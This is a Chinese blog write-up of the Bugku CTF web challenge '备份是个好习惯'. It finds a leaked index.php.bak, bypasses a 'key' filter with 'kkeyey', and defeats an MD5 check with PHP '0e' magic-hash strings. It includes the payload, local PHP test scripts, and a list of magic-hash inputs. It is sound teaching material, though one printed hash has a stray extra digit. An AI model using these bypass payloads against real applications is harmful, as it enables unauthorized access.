bugku 备份是个好习惯

备份是个好习惯

80

http://120.24.86.145:8002/web16/

听说备份是个好习惯

 1  进入页面就是两个空字符的md5编码,查看源代码,查看元素,无果

 2  用bp抓包,无果

无从下手,用御剑扫描了一下

.bak是备份文件的扩展名,访问http://120.24.86.145:8002/web16/index.php.bak

下载文件,去掉文件扩展名中的.bak,打开文件,查看源代码

分析源代码:

11行strstr获得URI从'?'往后(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替换为空,可以使用类似这样的语句:kkeyey 处理,14行parse_str把字符串解析到变量中。最后需要得到key1,key2不相等而二者md5相等,可以利用php弱类型比较绕过,具体原理可以看这里:

https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

构造payload:?kkeyey1=QNKCDZO&kkeyey2=240610708

new1.php:

<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal';
if($key1===$key2)
echo '===equal';
?>

http://localhost/test/new1.php?key1=QNKCDZO&key2=240610708

返回结果:

md5equal 0e830400451993494058024219903391 0e462097431906509019562988736854

php判断md5相等(==)的,md5('QNKCDZO')为0e830400451993494058024219903391,md5('240610708')为0e4620974319065090195629887368540,但md5('QNKCDZO')==md5('240610708')却返回true,

如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。

下列的字符串的MD5值都是0e开头的:

QNKCDZO

240610708

s878926199a

s155964671a

s214587387a

s214587387a

http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063

返回结果:

==equal

由返回结果知md5('608E-4234')==md5('272E-3063')返回false,但'608E-4234'==''272E-3063'返回true

new1.php:

<?php
$key1=$_GET['key1'];
$key2=$_GET['key2'];
if(md5($key1)==md5($key2))
echo 'md5equal'.' '.md5($key1).' '.md5($key2);
if($key1==$key2)
echo '==equal'.' '.md5($key1).'***';
if($key1===$key2)
echo '===equal';
if(608E-4234==272E-3063)
echo '1'.'*';
if('608E-4234'=='272E-3063')
echo '2'.'*';
if("608E-4234"=="272E-3063")
echo '3'.'*';
if(md5('608E-4234')==md5("608E-4234"))
echo '5'.'*';
echo md5(608E-4234).'****';
echo md5("608E-4234")
?>

http://localhost/test/new1.php?key1=608E-4234&key2=272E-3063

返回结果:

==equal f42466941e8edf94e286d0207b571162***1*2*3*5*cfcd208495d565ef66e7dff9f98764da****f42466941e8edf94e286d0207b571162

所以md5($key1)=md5('608E-4234')

参考:https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo

https://stackoverflow.com/questions/12598407/php-expresses-two-different-strings-to-be-the-same

https://stackoverflow.com/questions/80646/how-do-the-php-equality-double-equals-and-identity-triple-equals-comp

https://blog.csdn.net/eustiasora/article/details/79149411

https://blog.csdn.net/zpy1998zpy/article/details/80582974

猜你喜欢

转载自blog.csdn.net/Ruhe_king/article/details/82504258
今日推荐